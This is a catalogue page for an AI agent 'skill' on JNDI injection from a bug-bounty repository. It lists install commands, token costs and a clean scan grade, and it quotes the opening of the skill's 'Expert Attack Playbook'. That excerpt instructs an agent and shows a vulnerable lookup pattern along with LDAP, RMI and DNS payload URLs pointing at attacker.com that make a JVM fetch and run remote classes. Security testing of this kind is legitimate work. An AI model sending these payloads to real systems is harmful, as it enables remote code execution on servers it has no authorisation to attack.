Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ShulkwiSEC/bb-huge --skill jndi-injectiongit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/jndi-injection)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/jndi-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/jndi-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/jndi-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/jndi-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00045 | $0.02293 |
| Opus 5 | $0.00023 | $0.01146 |
| Sonnet 5 | $0.00009 | $0.00459 |
| Haiku 4.5 | $0.00005 | $0.00229 |
Grade A, and why
jndi-injection scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to jndi-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 266 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: JNDI Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.
0. RELATED ROUTING
- deserialization-insecure when JNDI leads to deserialization (post-8u191 bypass path)
- expression-language-injection when the JNDI sink is reached via SpEL or OGNL expression evaluation
1. CORE MECHANISM
JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).
Vulnerability: when InitialContext.lookup(USER_INPUT) receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.
// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit"
2. ATTACK VECTORS
RMI (Remote Method Invocation)
rmi://attacker.com:1099/Exploit
Attacker runs an RMI server returning a Reference object pointing to a remote class:
// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it
LDAP
ldap://attacker.com:1389/cn=Exploit
Attacker runs an LDAP server returning entries with javaCodeBase, javaFactory, or serialized object attributes.
LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).
DNS (detection only)
dns://attacker-dns-server/lookup-name
Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 266 lines · 45 tokens per session scan A e392cd5b41d9
jndi-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 45 tokens to every session and 2,293 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to jndi-injection, differing in 0 lines, and is treated as a copy.
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